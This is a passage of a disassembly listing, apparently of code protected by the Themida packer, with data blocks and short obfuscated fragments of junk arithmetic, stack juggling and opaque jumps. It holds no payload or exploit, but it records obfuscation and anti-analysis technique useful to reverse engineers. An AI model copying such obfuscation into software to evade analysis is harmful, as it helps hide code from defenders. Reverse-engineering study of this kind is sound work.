0E4890055h, 0F570055h dd 28400056h, 32220055h, 0EE960055h, 0F800055h, 3EC0056h dd 0F01C0055h, 0F94D0055h, 0D2BE0055h, 64F0055h, 0C98B0056h dd 0D9490055h, 0CA2B0055h, 3400055h, 0C8680056h, 6F210055h dd 0FD9F0055h, 10B20054h, 0FEA10056h, 0F40D0054h, 8BA90054h dd 0FE880055h, 0EBC40055h, 89C40055h, 29320055h, 0FD290055h dd 7D950054h, 5E5C0055h, 0E99E0055h, 9E070055h, 69820055h dd 917A0055h, 24BE0055h, 2C0F0056h, 53740055h, 72F40055h dd 0F7C00055h, 0AB290054h, 90D60055h, 4520055h, 95C0055h dd 68FD0055h, 0F9E60055h, 16D00054h, 0D06E0056h, 17330055h dd 39D0055h, 0CC2E0055h, 6FEE0055h, 8FDE0055h, 9B1B0055h dd 0C8A50055h, 0A82D0055h, 2EBE0055h, 24370055h, 7F20056h dd 56150056h, 0FC7F0055h, 0DE760055h, 26900055h, 2BF20056h dd 0C2F70055h, 20B40055h, 1AB00056h, 8B70055h, 0E1270056h dd 0E130054h, 70770056h, 50050055h, 0A2BC0055h, 0FD230055h dd 0DCE90054h, 0E0D00055h, 11030054h, 60930055h, 87520055h dd 0A2520055h, 0EAB90055h, 3720054h, 0C1D80056h, 0E9E60055h dd 0A8C20054h, 0ACB00055h db 55h, 0 ; --------------------------------------------------------------------------- loc_54DD7E: ; CODE XREF: Themida_:0059AA3Ej ; Themida_:0059F9C4j pusha pushf cld call $+5 pop edi sub edi, 64948C9h mov eax, edi add edi, 64945E1h cmp eax, [edi+2Ch] jnz short loc_54DD9C jmp short loc_54DDAF ; --------------------------------------------------------------------------- loc_54DD9C: ; CODE XREF: Themida_:0054DD98j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54DDAB ; --------------------------------------------------------------------------- loc_54DDA6: ; CODE XREF: Themida_:0054DDADj add [edi+ecx*4+40h], eax dec ecx loc_54DDAB: ; CODE XREF: Themida_:0054DDA4j or ecx, ecx jnz short loc_54DDA6 loc_54DDAF: ; CODE XREF: Themida_:0054DD9Aj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54DDBC: ; CODE XREF: Themida_:0054DDC3j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54DDBC loc_54DDC5: ; CODE XREF: Themida_:0054F238j ; Themida_:00550D8Aj ... lodsb jmp loc_5616B8 ; --------------------------------------------------------------------------- loc_54DDCB: ; CODE XREF: Themida_:00559DEDj mov edx, 1E400AA7h or edx, 0ADF0397h not edx xor edx, 3BB70485h add edx, 72431EA3h jmp loc_554219 ; --------------------------------------------------------------------------- loc_54DDE9: ; CODE XREF: Themida_:00558B78j shl edx, 1 sub esp, 4 mov [esp], ecx mov ecx, 1 sub esp, 4 mov [esp], ebx push 177Fh jmp loc_54E14D ; --------------------------------------------------------------------------- dd 74FF535Dh, 1C8B0424h, 2216E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DE1A: ; CODE XREF: Themida_:005608DDj push edi mov edi, 3AA76C90h dec edi inc edi xor edi, 33361B90h mov eax, edi jmp loc_559AC4 ; --------------------------------------------------------------------------- db 5 aVSe? db 'Ôv¿-é…?',0 dd 0F43BB00h, 0E2E92AFCh, 520000B3h, 24148B54h, 12546E9h dd 5356BF00h, 0FA012E99h, 0C923E9h db 0 ; --------------------------------------------------------------------------- loc_54DE59: ; CODE XREF: Themida_:0055DBE9j shr esi, 4 inc esi sub esi, 9C68E3C2h push esi pop ebx pop esi mov ecx, ebx jmp loc_55405D ; --------------------------------------------------------------------------- aRitsE db 'R‰âéÊE',0 db 0 ; --------------------------------------------------------------------------- loc_54DE75: ; CODE XREF: Themida_:0055EDD8j mov ebx, 729206AEh mov ebp, ebx pop ebx and ebx, ebp pop ebp or ebx, 59030624h shr ebx, 8 shl ebx, 5 add ebx, 6D641130h mov edx, ebx pop ebx jmp loc_5565C6 ; --------------------------------------------------------------------------- dw 34FFh aWts db '$[WTéÒ&',0 dd 29EA8100h, 0E948A31Bh, 4190h ; --------------------------------------------------------------------------- loc_54DEB0: ; CODE XREF: Themida_:005515B2j sub esp, 4 jmp loc_554092 ; --------------------------------------------------------------------------- loc_54DEB8: ; CODE XREF: Themida_:00555E57j shr edi, 8 shr edi, 1 jmp loc_560F5F ; --------------------------------------------------------------------------- dw 0FEE9h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEC7: ; CODE XREF: Themida_:005549ECj mov [esp], eax push dword ptr [esp+4] jmp loc_54F095 ; --------------------------------------------------------------------------- loc_54DED3: ; CODE XREF: Themida_:00557CCCj add edi, 2B040EECh jmp loc_558229 ; --------------------------------------------------------------------------- dw 3168h dd 89000072h, 1CB82404h, 0E962534Eh, 121D1h ; --------------------------------------------------------------------------- loc_54DEF0: ; CODE XREF: Themida_:0055E385j add ebx, 0D7DB6504h jmp loc_554AF6 ; --------------------------------------------------------------------------- loc_54DEFB: ; CODE XREF: Themida_:00558B96j and esi, 40C83625h add esi, 3A5256E6h add edi, esi pop esi mov edx, [esp] add esp, 4 sub [esp+8], edi pop edi pop eax jmp loc_5604BF ; --------------------------------------------------------------------------- aS_5 db '\é!Ð',0 dd 8E9AC00h, 0F7000066h, 0C78147DFh, 1F651ABBh, 82B2E9h dd 8EB95100h, 0F7336B55h, 0D2C181D9h, 0F740E834h, 5E9C1D1h dd 0F34BE981h, 75E95985h, 83000047h, 0B32D04C4h, 2D6B0421h dd 260C302Fh, 2F05F801h, 5260C30h, 6B0421B3h, 81243C8Bh dd 4C4h, 32E95000h, 5A0000E9h, 0E902C183h, 12005h, 0FFFE3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DF89: ; CODE XREF: Themida_:0055ADA1j sub bl, 32h mov ax, [esp] add esp, 2 add bl, 0BAh jmp loc_550E05 ; --------------------------------------------------------------------------- db 66h dd 31B0CB81h, 14477E9h, 2CD82800h, 5B74E9EEh, 575B0000h dd 4EC81h, 34890000h, 59C0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DFBE: ; CODE XREF: Themida_:00560573j xor [esp], eax push eax jmp loc_5621FF ; --------------------------------------------------------------------------- db 1 dd 0E7C181F1h, 8B221F09h, 0EEE92434h, 4000013h, 8BC68835h dd 0C4832404h, 282F0404h, 8B2F2CF0h, 0C4812414h, 4, 8904EC83h dd 0D2B22414h, 4EC8150h, 89000000h, 44B3241Ch, 88A6EB80h dd 241C8BDCh, 804C483h, 2434FFE2h, 9788E9h, 4875B00h, 0C7015C24h dd 14287E9h db 0 ; --------------------------------------------------------------------------- loc_54E025: ; CODE XREF: Themida_:0055CB38j mov edx, 71FE0976h jmp loc_561ACF ; --------------------------------------------------------------------------- loc_54E02F: ; CODE XREF: Themida_:00552AFBj shr ebp, 3 add ebp, 5AFF362Ch add ebp, 8E888262h add ecx, ebp pop ebp push 67C5h mov [esp], ebp jmp loc_54F4C9 ; --------------------------------------------------------------------------- dw 8B5Eh dd 0C4812404h, 4, 1FE95346h, 830000AAh, 0C8904ECh, 81E18924h dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 1608E924h, 0F75C0001h dd 2CB968E9h, 14890000h, 0E99C5024h, 0FFFFFD35h, 20B2C581h dd 0D5294268h, 20B2ED81h, 295A4268h, 242C8BEBh, 8104C483h dd 2F739CC3h, 4EC811Bh, 0E9000000h, 0A927h, 0C581E589h dd 4, 0AE8E9h, 0D3665C00h, 0E99C242Ch, 0C9D4h, 9D1C77FFh dd 19665866h, 0E99C2404h, 0FFFFFCE5h, 2DD9EB81h, 0B95152BCh dd 529121D8h, 0C8BCB29h, 4208E924h, 0E6890000h, 4C681h dd 0C6810000h, 4, 0E9243487h, 5F46h ; --------------------------------------------------------------------------- loc_54E10C: ; CODE XREF: Themida_:005563FBj add cl, 0 jmp loc_5544B4 ; --------------------------------------------------------------------------- dd 7DA9EE81h, 0EE017A8Dh, 7DA9C681h, 9E97A8Dh, 0AD000144h dd 0EC83D831h, 24348904h, 0B34E1BEh, 4EC8326h, 0BB241C89h dd 0 dd 0ECE9F329h, 5C00005Bh, 1128BE9h db 0 ; --------------------------------------------------------------------------- loc_54E14D: ; CODE XREF: Themida_:0054DE07j mov [esp], esi push eax mov eax, 69E43CA0h and eax, 0C9E728Eh xor eax, 248E3FD5h shl eax, 7 push ecx jmp loc_54F80C ; --------------------------------------------------------------------------- db 81h, 0F1h, 61h dd 21303B2Bh, 2434FFC8h, 81240C8Bh, 4C4h, 4C48100h, 9000000h dd 1BA4E9C0h, 0EF810001h, 43E507E9h, 2D7FEF81h, 0C7811219h dd 6E952EA9h, 0F781D7F7h, 0AE2BA2E2h, 15FF889h, 685058C5h dd 2, 0E9C50158h, 0C517h, 1B1168h, 80ADE900h, 0D6F60000h dd 0C680C6FEh, 94E9539Dh, 89000079h, 5EF389FEh, 24348153h dd 400A3663h, 22BF5758h, 810E9071h, 8D50E8EFh, 8E7C104h dd 7F54C781h, 0D7F71C05h, 73C9CF81h, 0C78170C4h, 4F2BBE78h dd 5B5FF831h, 5414685Fh, 4890000h, 38428F24h, 8B2434FFh dd 0A4682404h, 89000048h, 0E189240Ch, 4C181h, 0A4680000h dd 8900004Fh, 0BDE9241Ch, 8300012Fh, 0F80002C4h, 5B66732Ch dd 0A62CC828h, 4EC8359h, 52240C89h, 0F1881BB6h, 8DF1805Ah dd 1A90E9h, 0C8B6600h, 2CF76824h, 14890000h, 68E28924h dd 730h, 0E9242C89h, 135DDh, 6733B951h, 0E181617Fh, 1B516D7Eh dd 0DAC6E9h db 0 ; --------------------------------------------------------------------------- loc_54E281: ; CODE XREF: Themida_:0055F726j sub al, 6Ch jmp loc_55A5C2 ; --------------------------------------------------------------------------- loc_54E288: ; CODE XREF: Themida_:0055CDBFj add ebp, eax sub ebp, 1F8B4BFFh pop eax push edi jmp loc_55F31A ; --------------------------------------------------------------------------- loc_54E297: ; CODE XREF: Themida_:0055ADA9j push eax mov al, 23h sub dl, al pop eax mov bl, dl mov edx, [esp] push esi push esp pop esi add esi, 4 add esi, 4 push esi jmp loc_5509D5 ; --------------------------------------------------------------------------- dd 0E9240487h, 0E2ECh, 52243489h, 15076FBAh, 2DE28114h dd 55782E0Eh, 4062BBDh, 5DBE5610h, 291A7676h, 0EA295EF2h dd 4D685751h, 5F77925Bh, 6123E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E2EA: ; CODE XREF: Themida_:00556DAFj add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push esp jmp loc_555749 ; --------------------------------------------------------------------------- aRtsr db 'RTéà¶',0 align 2 dw 0B850h dd 411A630Ah, 0DA58B635h, 58C70121h, 243C3359h, 33243C31h dd 20E9243Ch db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E327: ; CODE XREF: Themida_:00553FB8j add esp, 4 jmp loc_551540 ; --------------------------------------------------------------------------- loc_54E32F: ; CODE XREF: Themida_:005509F9j pop esi push ebp mov ebp, 1F8D4503h add ebp, 41DF7273h and ebp, 3F247457h xor ebp, 41BA46B5h jmp loc_55B9F5 ; --------------------------------------------------------------------------- db 1, 0F3h, 81h dd 0CC3EEBC3h, 46E95E77h, 5000119h, 4, 32D6E951h, 1050000h dd 2D000000h, 0FFFFFFFFh, 3505E8C1h, 72FA71C6h, 0C275C105h dd 58C321ADh, 0F6FAC381h, 5953DF41h, 81241C8Bh, 4C4h, 3A5F300h dd 7A683862h, 8900003Eh, 68572404h, 0 dd 46E9535Fh db 2Ch, 1, 0 ; --------------------------------------------------------------------------- loc_54E3AB: ; CODE XREF: Themida_:00552F93j pop eax sub dh, bl mov ebx, [esp] add esp, 4 add dh, 9Dh sub dh, al push ecx push 12Dh mov [esp], ebx mov bh, 3Bh jmp loc_55886B ; --------------------------------------------------------------------------- loc_54E3CC: ; CODE XREF: Themida_:0055ACD1j sub ebp, edx mov edx, [esp] add esp, 4 add ebp, edi jmp loc_557C8E ; --------------------------------------------------------------------------- loc_54E3DE: ; CODE XREF: Themida_:00561E47j neg ch xor ch, 84h inc ch push eax mov ah, 0BFh jmp loc_54F2DB ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 874E9h db 0 ; --------------------------------------------------------------------------- loc_54E3F5: ; CODE XREF: Themida_:0055840Cj add esp, 4 xor edx, edx jmp loc_54E723 ; --------------------------------------------------------------------------- dw 0E95Ch dd 149Fh ; --------------------------------------------------------------------------- loc_54E408: ; CODE XREF: Themida_:00555571j add eax, ebp sub eax, 2B224A55h mov ebp, [esp] push eax jmp loc_557A5C ; --------------------------------------------------------------------------- dd 2A6BEF81h, 40E90518h, 0B8000027h, 353D6297h, 59236505h dd 95AE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E432: ; CODE XREF: Themida_:0055A3CFj add esp, 4 add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push ebx mov ebx, 68330F44h jmp loc_557C40 ; --------------------------------------------------------------------------- dd 927FE953h, 0F8010000h, 0E42E2505h, 243C8B62h, 0E904C483h dd 0C775h ; --------------------------------------------------------------------------- loc_54E468: ; CODE XREF: Themida_:00550A16j pop dword ptr [esp] not edi xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] pop edi add esp, 4 xchg edi, [esp] mov eax, [esp] push ecx mov ecx, esp push ebp mov ebp, 35F70830h jmp loc_55BC28 ; --------------------------------------------------------------------------- db 0BDh, 0B5h, 72h dd 0CD2967F2h, 1289AE9h, 82685A00h, 89000059h, 0B7E92404h dd 830000D2h, 90E904C4h, 5100003Eh, 5404EC83h, 8124048Fh dd 42404h, 50590000h, 0DA600AB8h, 5E8C173h, 9ED2FC2Dh dd 0E9C10103h, 0B8E1h ; --------------------------------------------------------------------------- loc_54E4D8: ; CODE XREF: Themida_:0055BDD4j sub [edi+24h], eax jmp loc_5583BB ; --------------------------------------------------------------------------- dd 0E904EC83h, 84EAh, 24148966h, 59E9ECB2h, 5200001Ah dd 105245BAh, 5AD50126h, 0B362E9h, 0F6C78600h, 0C0C786D0h dd 6805EFh, 28000000h, 3C8A243Ch, 4C48324h, 8030C780h dd 0FD882AF7h, 83241C8Bh, 0E5C004C4h, 0FED5F608h, 199A68C5h dd 1C890000h, 0FE7AB724h, 0C0EFD0CFh, 0F4E903EFh, 66000109h dd 8166DD29h, 667986C5h, 5D66EB89h, 0C8F38166h, 102D666Ch dd 0D829662Bh, 0EEBF6657h, 0AE1E936h, 0C5880000h, 0D10E9h dd 4C48300h, 7F240481h, 0E920B148h, 4479h, 1354BA52h, 9E90724h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E587: ; CODE XREF: Themida_:005571DEj not ebx jmp loc_552E7D ; --------------------------------------------------------------------------- loc_54E58E: ; CODE XREF: Themida_:005565D6j add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_557F51 ; --------------------------------------------------------------------------- loc_54E59C: ; CODE XREF: Themida_:00561027j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_551667 ; --------------------------------------------------------------------------- aUS db 'U½Û·ÕÅé}$',0 dw 0FF00h dd 669D1C77h, 241CD359h, 0F7FBE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5CA: ; CODE XREF: Themida_:00561B3Fj mov ebx, 0CC3AC0AEh jmp loc_557882 ; --------------------------------------------------------------------------- aRS db 'Àà',8,',}é±]',0 align 2 loc_54E5DE: ; CODE XREF: Themida_:0055B4F0j mov esi, [esp] push eax mov eax, esp jmp loc_55FA63 ; --------------------------------------------------------------------------- a5aiAs db '5ˆ',0Ah db 'éÏÄ',0 db 0 ; --------------------------------------------------------------------------- loc_54E5F3: ; CODE XREF: Themida_:0055F7D0j push edi mov edi, 1527268Eh sub [esp+8], edi pop edi jmp loc_550265 ; --------------------------------------------------------------------------- db 5Ah dd 405h, 24048700h, 0E9C3315Ch, 34Fh, 81242C8Bh, 4C4h dd 0E3895300h, 4C381h, 0EB810000h, 4, 0E9241C87h, 27ECh dd 74FF555Ah, 8F5D0424h, 248B2404h, 7A016824h, 4890000h dd 28D56824h, 0E9540000h, 8FCBh, 1461ED81h, 0CD017F97h dd 0A42E9h db 0 ; --------------------------------------------------------------------------- loc_54E661: ; CODE XREF: Themida_:0055B81Bj pop eax jmp loc_5563F8 ; --------------------------------------------------------------------------- db 89h dd 0F8B82404h, 51443442h, 1B9h, 59C80100h, 3A0FB951h, 0C831390Bh dd 3E8C159h, 28B6E9h db 0 ; --------------------------------------------------------------------------- loc_54E689: ; CODE XREF: Themida_:005580BFj sub edx, 8144C9F8h xor ebx, edx pop edx xor ebx, 15BD72ABh xor ebp, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push eax mov eax, 33251E3Ah jmp loc_5608A7 ; --------------------------------------------------------------------------- dd 5366C5FEh, 0E2E9A7B7h, 590000EEh, 4C381h, 1C330000h dd 241C3124h, 0E9241C33h, 9158h ; --------------------------------------------------------------------------- loc_54E6D4: ; CODE XREF: Themida_:0055FD72j push 2DA2h mov [esp], ebx mov ebx, 4 jmp loc_554133 ; --------------------------------------------------------------------------- dw 645Ch dd 0E9028966h, 0FFFFF6D5h, 4C481h, 0C6810000h, 7A252065h dd 24348156h, 69A65C1h, 9D54E9h db 0 ; --------------------------------------------------------------------------- loc_54E709: ; CODE XREF: Themida_:0055689Aj mov edx, 498D0758h sub edx, 54F647A0h jmp loc_55CA46 ; --------------------------------------------------------------------------- db 5Eh, 87h, 1Ch aSy db '$\éYÞ',0 db 0 ; --------------------------------------------------------------------------- loc_54E723: ; CODE XREF: Themida_:0054E3FDj push 6B7Ah mov [esp], ebx push ebp mov ebp, 401E0E13h xor [esp+4], ebp jmp loc_55EA18 ; --------------------------------------------------------------------------- dw 1489h aZSjsp db '$º‡*áJéP\',0 dw 8900h dd 0BA52242Ch, 1F696D42h, 815AD589h, 9692C2C5h, 0C5EE81E0h dd 0E92A7B43h, 0B379h, 42474FFh, 24048F59h, 8924248Bh dd 4EE9240Ch, 66FFFFF6h, 0F31EE950h, 15E0000h, 348759CEh dd 24248B24h, 51E78957h, 0F856E9h, 240C8700h, 0BAB0E9h db 0 ; --------------------------------------------------------------------------- loc_54E799: ; CODE XREF: Themida_:0055049Ej pop dword ptr [esp] pop esp mov [esp], edi jmp loc_551D68 ; --------------------------------------------------------------------------- loc_54E7A5: ; CODE XREF: Themida_:00559854j mov al, 0BDh or al, 63h inc al neg al jmp loc_55ABD6 ; --------------------------------------------------------------------------- dw 0BF57h dd 47584EFEh, 56E7BA52h, 59E94BEEh, 50000A5h, 4E434BABh dd 0AB2DF001h, 554E434Bh, 0AB210ABDh, 6EDC15Bh, 20DCE94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E7DE: ; CODE XREF: Themida_:0055E081j push 0 sub [esp], edi pop edi shr edi, 6 jmp loc_553681 ; --------------------------------------------------------------------------- db 4Fh dd 2B87E781h, 0F78127AFh, 243656EAh, 0CD75EF81h, 0FB013480h dd 8BD9015Fh, 8950241Ch, 405E0h, 0E8830000h, 24048704h dd 241C895Ch, 0C381E389h, 4, 8704C383h, 815C241Ch, 2E9h dd 240C8700h, 6624248Bh, 66241489h, 22474FFh, 24148B66h dd 555F5457h, 200200BDh, 0E9D5F747h, 66Bh, 6491C681h, 0F6815FD2h dd 76524EC4h, 348BF729h, 4C48324h, 0C781D701h, 2B62976h dd 44DBEF81h, 148B6BCAh, 4C48324h, 3614BD55h, 0C58151C7h dd 5F9B7DEDh, 0CAB85045h, 310D007Ch, 87E958C5h, 54000002h dd 8124348Bh, 4C4h, 4C68100h, 0E9000000h, 847Ah ; --------------------------------------------------------------------------- loc_54E8AC: ; CODE XREF: Themida_:00559827j push esi mov esi, esp jmp loc_55E05A ; --------------------------------------------------------------------------- dd 4C481h, 6C810000h, 19CA0424h, 5C2966DFh, 44810424h dd 19CA0424h, 1C8B66DFh, 4C48124h, 52000000h, 0A771C2BAh dd 5FB85055h, 8135632Bh, 0A208246Ch, 29495E5Bh, 81082444h dd 0A2082444h, 0E9495E5Bh, 22FBh, 9D1C77FFh, 14D35966h dd 0BAE99C24h, 0E9FFFFF4h, 0FFFFF4B5h, 0E9242C89h, 5E1h ; --------------------------------------------------------------------------- loc_54E918: ; CODE XREF: Themida_:00561F87j mov edx, 4 add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp neg ebp sub ebp, 0DF1C5973h jmp loc_5606FC ; --------------------------------------------------------------------------- db 58h dd 0EC81C601h, 4, 0E9242C89h, 0D962h, 6913E981h, 0E505E4D7h dd 0E9540A79h, 3D0Fh, 2959BD55h, 2CE904DEh, 510000ACh dd 2219D8B9h, 59CA291Fh, 3DE6E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E972: ; CODE XREF: Themida_:0055D026j add ebx, 2BB14B85h sub ebx, 77585F52h mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_560DDD ; --------------------------------------------------------------------------- dd 0E904EC83h, 9B41h, 5958C289h, 0E924348Bh, 398Ch, 0C68C201h dd 8900002Eh, 0BA52240Ch, 74073F60h, 28C2E9h, 0A1EF8100h dd 0FF517861h, 34FF2434h, 28E95D24h db 33h, 1, 0 ; --------------------------------------------------------------------------- loc_54E9C7: ; CODE XREF: Themida_:0055A2ACj neg ecx sub ecx, 0FFFFFFFFh and ecx, 15D21C88h add ecx, 55A249A3h push ecx pop eax jmp loc_555F15 ; --------------------------------------------------------------------------- db 0FEh aS? db 'Æéß?',0 align 2 dw 34FFh dd 2434FF24h, 0EC67E9h db 0 ; --------------------------------------------------------------------------- loc_54E9F1: ; CODE XREF: Themida_:0055E51Cj mov [esp], edi push 778979E0h push dword ptr [esp] pop edi jmp loc_5586F9 ; --------------------------------------------------------------------------- dw 875Bh dd 248B2404h, 2EDAE924h, 8E680000h, 8900007Ch, 78E9241Ch dd 5A00012Dh, 699BED81h, 0CE92FBBh, 0D30000F6h, 0E99C2404h dd 0FFFFF395h ; --------------------------------------------------------------------------- loc_54EA30: ; CODE XREF: Themida_:0055090Ej mov esi, 13617BF7h dec esi add esi, 597761FBh jmp loc_55765C ; --------------------------------------------------------------------------- db 80h, 0E9h, 0F4h dd 3AC180h, 8207E9D9h, 0BE560000h, 0B2B70B21h, 0AB7AE9h dd 0C5835E00h, 53B6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA62: ; CODE XREF: Themida_:0055869Aj mov ebp, [esp] push ebx jmp loc_552578 ; --------------------------------------------------------------------------- loc_54EA6B: ; CODE XREF: Themida_:00557014j xor esi, [esp] mov esp, [esp] push eax mov eax, 7D1E414Eh jmp loc_55131A ; --------------------------------------------------------------------------- dd 5422EE81h, 0C15B587Dh, 0EC8104E6h, 4, 0BB241C89h, 68942864h dd 8107EBC1h, 1C3h, 7E3C100h, 0E49DC381h, 0C681BC4Bh, 28D04FE0h dd 0EE81DE29h, 28D04FE0h, 13116E9h, 32E9AC00h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EABF: ; CODE XREF: Themida_:00556027j push ecx mov ecx, 1F9B3644h sub ebx, ecx pop ecx jmp loc_5531D4 ; --------------------------------------------------------------------------- db 31h, 0D7h, 0E9h dd 102B7h ; --------------------------------------------------------------------------- loc_54EAD4: ; CODE XREF: Themida_:0055A7C0j push 3D62370Ch pop ecx jmp loc_56022E ; --------------------------------------------------------------------------- loc_54EADF: ; CODE XREF: Themida_:005560FFj mov ebp, esp push ebx jmp loc_54ED41 ; --------------------------------------------------------------------------- aJfsS db '·¦fS³s',0 dw 66D8h dd 0E9241C8Bh, 0FFFFF73Bh, 31E9FA01h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EAFF: ; CODE XREF: Themida_:00555F72j pop ebx push edx jmp loc_552435 ; --------------------------------------------------------------------------- dw 0E951h dd 4206h, 0FFF2B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EB11: ; CODE XREF: Themida_:00552CA3j push edx jmp loc_557712 ; --------------------------------------------------------------------------- aVsC db 'µvé»C',0 align 2 dw 0F581h dd 0BC62C8CAh, 13DC6E9h, 80C60000h, 0E95845EEh, 5D0Dh dd 0AF0DD8F7h, 0E939980Eh, 0E476h, 3592C681h, 0F2312378h dd 1D0BE95Eh, 0E95A0001h, 0FFFFF38Ah ; --------------------------------------------------------------------------- loc_54EB54: ; CODE XREF: Themida_:0055233Ej push edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp jmp loc_55334F ; --------------------------------------------------------------------------- loc_54EB68: ; CODE XREF: Themida_:0055B694j add edx, ecx jmp loc_55B0AB ; --------------------------------------------------------------------------- db 51h dd 8040B753h, 86E9ACE7h, 81FFFFF9h, 4ECh, 243C8900h, 6F376853h dd 1C8B6840h, 4C48124h, 0C1000000h, 0C38107EBh, 13C06D7h dd 0F5BF5750h, 897C6D5Dh, 0C3215FF8h, 7F7EE9h, 4B95100h dd 1000000h, 67A2E9CDh, 4050000h, 87000000h, 248B2404h dd 2EC3E924h db 1, 0 ; --------------------------------------------------------------------------- loc_54EBCA: ; CODE XREF: Themida_:00556428j push ebx jmp loc_54FF9E ; --------------------------------------------------------------------------- loc_54EBD0: ; CODE XREF: Themida_:005563A9j add edi, 15A089D2h sub ebp, edi mov edi, [esp] add esp, 4 sub ebp, esi add ebp, 50D10083h push ebp jmp loc_550C22 ; --------------------------------------------------------------------------- dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 2404A30Fh dd 660E99Ch, 1C870001h, 0E8685C24h, 8900003Bh, 74FF2434h dd 348B0424h, 4C48324h, 8B24048Fh, 6D682424h, 89000020h dd 81502414h, 0D9F242Ch, 34FF6460h, 24148B24h, 5E08950h dd 4, 8704C083h, 0E95C2404h, 0FFFFF413h, 54240C89h, 46B85059h dd 53AD727h, 4E53041Dh, 80E9D0F7h, 50000135h, 0E530E9h dd 241C8B00h, 4C481h, 0DAE90000h, 520000BBh, 7746DBAh dd 20E2815Fh, 83054174h, 0B0E901EAh, 5C000001h, 1D4768h dd 242C8900h, 131FE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EC9A: ; CODE XREF: Themida_:00562933j mov ecx, 38F64794h jmp loc_5517E1 ; --------------------------------------------------------------------------- dd 425DF781h, 0EFC14B08h, 0FCBA5204h, 0F7035675h, 29CA81D2h dd 0E969C272h, 0C71Ah, 5220C281h, 0FCE919A6h, 8B0000D6h dd 8DE92424h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ECD3: ; CODE XREF: Themida_:0055C9D5j xor edi, [esp] mov esp, [esp] mov ax, [esp] push 7048h mov [esp], esi jmp loc_55FB2E ; --------------------------------------------------------------------------- dw 0CD81h dd 6D3F5644h, 4817ED81h, 0DDF727C5h, 0EBF0E9h, 0C6815C00h dd 2, 31243433h, 34332434h, 24248B24h, 24048B66h, 8904EC83h dd 0E0892404h, 13C468h, 243C8900h, 0EF5BE9h, 1F346800h dd 0C15B2BB9h, 0B6E906EBh db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED37: ; CODE XREF: Themida_:0055D230j xor edi, ecx pop ecx xchg ebx, edi jmp loc_55178F ; --------------------------------------------------------------------------- loc_54ED41: ; CODE XREF: Themida_:0054EAE2j push edi mov edi, 70337928h dec edi jmp loc_55743D ; --------------------------------------------------------------------------- loc_54ED4D: ; CODE XREF: Themida_:0055CAAAj push ecx jmp loc_55FFDB ; --------------------------------------------------------------------------- loc_54ED53: ; CODE XREF: Themida_:00557F5Aj xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push edx not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp push ebx jmp loc_558BDA ; --------------------------------------------------------------------------- dd 0C0BF574Ah, 81784C4Dh, 3400CEF7h, 0F890E93Ch, 0E9500000h dd 21CCh, 3EC368h, 243C8900h, 7721FCBFh, 7AC7814Eh, 4F5E4B3Ch dd 5984E9h, 241C8900h, 0BD97EFBBh, 5BDE31C1h, 8904EC83h dd 5FE92434h db 33h, 1, 0 ; --------------------------------------------------------------------------- loc_54EDBB: ; CODE XREF: Themida_:00550D4Bj pop ebp and eax, edx push dword ptr [esp] jmp loc_560622 ; --------------------------------------------------------------------------- dw 0E95Ch dd 6DF9h, 8EE91AB7h, 0BE000010h, 4C57640Ch, 15CFF681h dd 5BE90546h, 830000FEh, 5B042404h, 720ABF57h, 0B95163C9h dd 9C368DFAh, 159CF01h, 0C3815FFBh, 4, 31241C33h, 1C33241Ch dd 57215C24h, 24148B1Ch, 4C481h, 0BEE90000h, 830000C8h dd 0CB31FFC3h, 0CB31D931h, 0C831C131h, 11EEEE9h db 0 ; --------------------------------------------------------------------------- loc_54EE2D: ; CODE XREF: Themida_:00557AB9j push ecx jmp loc_551780 ; --------------------------------------------------------------------------- db 89h dd 0F8E9243Ch, 81000103h, 0AC4E8AF2h, 53C96848h, 14890000h dd 0F3BB5324h, 2948B576h, 5B04245Ch, 0D177E9h, 581DB900h dd 4C293187h, 34FF0824h, 0E9575924h, 1381Dh ; --------------------------------------------------------------------------- loc_54EE6C: ; CODE XREF: Themida_:0055B19Ej push eax push esp jmp loc_556EE0 ; --------------------------------------------------------------------------- loc_54EE73: ; CODE XREF: Themida_:0055D612j mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push eax mov eax, 4B7E0F53h neg eax add eax, 4B7E0F57h sub ebp, 2BB506E0h add ebp, offset byte_4D0781 sub ebp, eax sub ebp, offset byte_4D0781 add ebp, 2BB506E0h pop eax push ebp push dword ptr [esp+4] jmp loc_550EE5 ; 